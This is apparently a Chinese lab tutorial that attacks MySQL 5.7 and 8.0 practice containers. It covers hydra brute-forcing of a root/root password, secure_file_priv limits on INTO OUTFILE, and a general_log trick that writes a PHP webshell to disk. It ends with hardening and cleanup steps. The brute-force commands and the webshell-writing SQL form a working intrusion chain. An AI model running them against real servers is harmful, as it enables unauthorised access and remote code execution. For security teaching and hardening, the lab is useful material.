目 录一、靶标与接入从爆破到连接1.1 爆破与连接二、INTO OUTFILE被 secure_file_priv 拦住的第一条路2.1 白名单内成功2.2 白名单外1290 报错三、general_log 写文件绕过 secure_file_priv 的正解3.1 8.0 对照同样可行管控在别处四、版本差异与利用面总结五、防御视角、验收与清场5.1 修复建议5.2 验收标准5.3 清场一、靶标与接入从爆破到连接服务型靶标的玩法与 Web 靶场不同攻击入口从 HTTP 换成数据库协议攻击面是「弱口令 服务端配置缺陷」。本篇靶标是第 1 篇部署的 MySQL 5.7.443307与 8.0.463308root/root 弱口令即切入点。1.1 爆破与连接# hydra 爆破先确认账号存在nmap -p3307 --script mysql-brute 快速摸底hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.240:3307 -t 8# [3307][mysql] host: 10.10.10.240 login: root password: root# 连接MySQL 8.0 必加 --skip-ssl8.0 默认强制 TLS旧客户端握手失败mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e select version();mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e select version();5.7 返回 5.7.44-log8.0 返回 8.0.46。两个版本就是一组对照组同一套写文件链两边表现完全不同——这正是本篇要讲的攻防演化。二、INTO OUTFILE被 secure_file_priv 拦住的第一条路经典写文件姿势是 SELECT ... INTO OUTFILE把查询结果落成服务器上的文件。先看变量约束mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e show variables like secure_file_priv;# 预期实测两个版本一致# Variable_name Value# secure_file_priv /var/lib/mysql-files/2.1 白名单内成功mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e select GL_MARK_OK into outfile /var/lib/mysql-files/gl.txt;docker exec mysql57 grep -c GL_MARK_OK /var/lib/mysql-files/gl.txt# 1 → 写入成功。容器内验证别只信 SQL 返回的 Query OK2.2 白名单外1290 报错mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e select X into outfile /var/www/html/x.php;# 预期实测ERROR 1290 (HY000):# The MySQL server is running with the --secure-file-priv option so it cannot execute this statement1290 是本篇第一个关键学习点secure_file_priv 从 MySQL 5.7.6 起默认指向专用目录OUTFILE/LOAD_FILE 只能在该目录内活动——想把 webshell 写进 /var/www/html 直接撞墙。UDF 提权同理它需要把 .so 写进 plugin_dir而 plugin_dir 同样不在白名单内写不进去整条链在第一步就断第 1 篇部署时用官方镜像默认配置正是现实世界的主流形态。三、general_log 写文件绕过 secure_file_priv 的正解general_log通用查询日志的日志文件路径由 general_log_file 指定而这两个变量不归 secure_file_priv 管。把日志文件指到 Web 目录、开日志MySQL 就会把我们提交的 SQL 原文写进去——SQL 里带 PHP 代码落盘即 webshell。# 1) 开启日志并指向 Web 目录以 5.7 为例mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e set global general_log_file/var/lib/mysql/shell.php; set global general_logon;# 2) 写入带 PHP 代码的 SQL日志原样记录mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e select ?php echo \GL_LOG_OK_\.shell_exec(\$_GET[0]);?;# 3) 容器内确认落盘内容docker exec mysql57 grep -c GL_LOG_OK /var/lib/mysql/shell.php# 1 → 成功两个实操细节① 路径按实际 Web 根调整靶场 MySQL 官方镜像没有 Web 服务演示时写 /var/lib/mysql/ 并用docker exec grep验证落盘即可原理与写 /var/www/html 完全等价② PHP 代码里的$_GET等符号在 SQL 单引号内原样保留转义层数多了容易错建议先在本地把 PHP 串写好、再用双引号包 SQL。3.1 8.0 对照同样可行管控在别处mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e set global general_log_file/var/lib/mysql-files/s80.txt; set global general_logon; select M80_MARK;docker exec mysql80 grep -c M80_MARK /var/lib/mysql-files/s80.txt# 1 → 8.0 同样打通。general_log 链两个版本都活着为什么这条链没被堵日志路径是 DBA 的合法运维配置排障刚需官方不能一刀切禁掉。它的防线转移到了别处——Web 与 MySQL 分离部署数据库上根本没有 Web 目录、应用账号不授 SUPER 权限、审计 general_log 的开启行为。攻防两端都值得记住这个「合法功能成为攻击面」的模式。四、版本差异与利用面总结对比项MySQL 5.7.44MySQL 8.0.46连接root/root需 --skip-ssl5.7.34 默认 TLSroot/root需 --skip-sslINTO OUTFILEsecure_file_priv/var/lib/mysql-files/白名单外报 1290同左UDF 提权写 plugin_dir 被白名单拦截同左general_log 写文件可用核心考点可用核心考点文件写入可控性日志路径任意指定日志路径任意指定利用面排序从弱口令开始爆破 root → 探测 secure_file_priv → OUTFILE 白名单判定 → general_log 落文件 → 结合 Web 解析成 RCE。每一步都有明确的成败判据不靠猜。五、防御视角、验收与清场5.1 修复建议root 禁止远程登录bind-address127.0.0.1 user 表 host 限制杜绝弱口令爆破面。secure_file_priv 设为专用目录或 NULLWeb 目录绝不放入白名单。应用账号最小权限只授业务库增删改查绝不授 FILE/SUPER/global 变量修改权。监控 general_log 开关变更审计 set global 语句生产环境默认关闭。5.2 验收标准两个版本都能连接含 --skip-ssl 细节OUTFILE 白名单内成功、白名单外 1290两个现象都要拿到general_log 链在两个版本均通过容器内 grep 确认落盘。5.3 清场# 关日志、删文件——general_log 不关会持续写盘属于「开了不关」的脏状态mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e set global general_logoff;mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e set global general_logoff;docker exec mysql57 sh -c rm -f /var/lib/mysql/shell.php /var/lib/mysql-files/gl.txtdocker exec mysql80 sh -c rm -f /var/lib/mysql-files/s80.txt# 终态确认两台 general_log 都应为 OFF落盘文件都应为 0mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -N -e show variables like general_log; | grep -c OFF下一篇继续服务型靶标Redis 8.10.2 未授权访问。那里会看到一个更有教学价值的反面案例——三条经典 Redis RCE 链在新版上全部失效而「主动出网」的验证思路依然可用。